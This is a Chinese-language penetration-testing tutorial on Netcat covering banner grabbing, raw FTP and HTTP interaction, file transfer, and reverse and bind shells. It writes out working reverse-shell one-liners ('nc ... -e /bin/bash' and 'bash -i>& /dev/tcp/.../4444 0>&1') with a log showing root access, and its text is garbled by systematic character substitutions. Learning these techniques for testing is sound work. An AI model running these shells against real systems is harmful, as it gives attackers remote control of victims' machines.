Netcat是一个很好的网络实用程序,用于使用TCP和UPD协议读取和写入网络链接。Netcat一般被称为网络工具中的瑞士军刀,咱们将在使用黑客教程的不一样教程中大量使用它。Netcat最多见的用途是设置反向和绑定shell,管道和重定向网络流量,端口侦听,调试程序和脚本以及Banner抓取。在本教程中,咱们将学习如何使用Netcat的基本功能,如:
Banner抓取 原始链接 Web服务器交互html
1.1 Netcat Banner获取nginx
使用如下命令来获取服务器Banner(与服务创建原始链接): nc [ip address] [port] 咱们来试试这个在21端口运行的Metasploitable 2上的FTP服务: nc 192.168.1.100 21 nc [ip] [port]用于与端口进行原始链接,当可用时将返回服务器Banner。
code: rocky@kail: nc 23.105.202.xx 21 # 21 ftp 控制连接 220 (vsFTPd 2.2.2) # 系统服务 banner
1.2 Netcat原链接shell
为了演示原始链接的工做原理,咱们将在FTP服务链接到目标主机后发出一些FTP命令。 在匿名的状况下,咱们来看看这个FTP服务器是否容许匿名访问,经过USER和PASS命令。
code: rocky@kail: nc 23.105.202.xx 21 220 (vsFTPd 2.2.2) user ligang 331 Please specify the password.
1.3 Web服务器交互编程
Netcat还能够经过发出HTTP请求与Web服务器进行交互。 经过如下命令,咱们能够抓住在Metasploitable 2上运行的Web服务的Banner: nc 23.105.202.xx 80
而后运行此HTTP请求:安全
HEAD / HTTP / 1.0
rocky@kail: nc 23.105.202.xx 80 HEAD / HTTP / 1.0 << 输入 HTTP/1.1 400 Bad Request Server: nginx/1.12.0 Date: Sun, 28 May 2017 08:06:19 GMT Content-Type: text/html Content-Length: 173 Connection: close
1.4 使用Netcat进行文件传输bash
在这个例子中,咱们将使用Netcat链接传输一个文本文件。假设咱们在目标主机上执行远程命令,咱们但愿将文件从攻击主机传输到目标主机。首先,咱们须要在目标主机上设置一个侦听器,并从攻击主机链接到它。咱们将使用端口8080用于此目的,咱们将该文件安全保存到桌面:服务器
nc -lvp 8080> 1.txt
在攻击主机上,咱们链接到8080端口并发送文件名称transfer.txt:网络
nc 192.168.100.107 8080 < 1.txt
Netcat反向reverse shell并发
在渗透测试中,最多见,或者最受欢迎的用法是反向 reverse shell和正向bind shell。反向shell是从目标主机发起处处于监听状态的攻击机器的shell链接方式,又叫被动链接,而正向bind shell是攻击主机经过特定的端口进行侦听目标主机即将到来的链接。在恶意软件中,bind shell又一般被称为后门。tcp
在下面的内容中咱们将展现使用bind shell和reverse shell。下面将使用4444端口,但请注意,这能够是任何开放端口。实际上,一般您须要使用更常见的端口,如80和443来设置反向shell,由于这些端口是更常见的打开。
NC reverse shell 工做原理:
攻击主机A执行: nc -lvp 4444 ; 监听被攻击者连接
被攻击主机B执行: nc xxx.xxx.xxx.xxx 4444 -e /bin/bash ; 将bash shell 权限提供给攻击者 实现控制权限的转移;
实现通讯后:
在攻击主机A上执行命令,便可操做被攻击者B
缺点:
此时被攻击者B 须要使用Netcat命令, 并且普通 GNU Linux nc 并无 -e { -e filename program to exec after connect [dangerous]} 参数; 顾此种反向连接并不适用;
2.1 使用Bash 来代替Nc实现反向连接;
被攻击主机B: bash -i>& /dev/tcp/23.105.202.xx/4444 0>&1
攻击者A: nc -lvp 4444
A机代码: [root@virtualS ~]# nc -lvp 4444 Connection from 111.15.33.114:17835 ## 此时B机执行转移指令 bash -i>& /dev/tcp/23.105.202.xx/4444 0>&1 root@kailvirtual:~# root@kailvirtual:~# root@kailvirtual:~# root@kailvirtual:~# root@kailvirtual:~# id id uid=0(root) gid=0(root) groups=0(root) root@kailvirtual:~#
bash -i>& /dev/tcp/23.105.202.xx/4444 0>&1 命令解释: bash: -i if the -i option is present, the shell is interactive shell: 0/1/2 分别表明Linux标准输入,输出,异常 即 C编程中的 stdin, stdout, stderr 0>&1 指 将标准输入彻底输出到标准输出中; 采用&能够将 0/1 绑定在一块儿。这条命令的做用标准输入将和标准输出同用一个文件描述符,说人话就是错误输入将会和标准输出输出到同一个地方。
2.2 Netcat正向bind Shell
bind shell是一个绑定到目标主机上的特定端口以监听即将到来的链接的shell。咱们来看看一个Netcat正向bind shell的原理:
攻击主机A: rocky@mac: nc 192.168.1.9 4444 id uid=0(root) gid=0(root) groups=0(root) echo $HOSTNAME kailvirtual
相同点:
咱们都须要被攻击者将其shell控制权限交给咱们
将shell command 以数据流的形式重定向到被攻击主机的Bash shell中;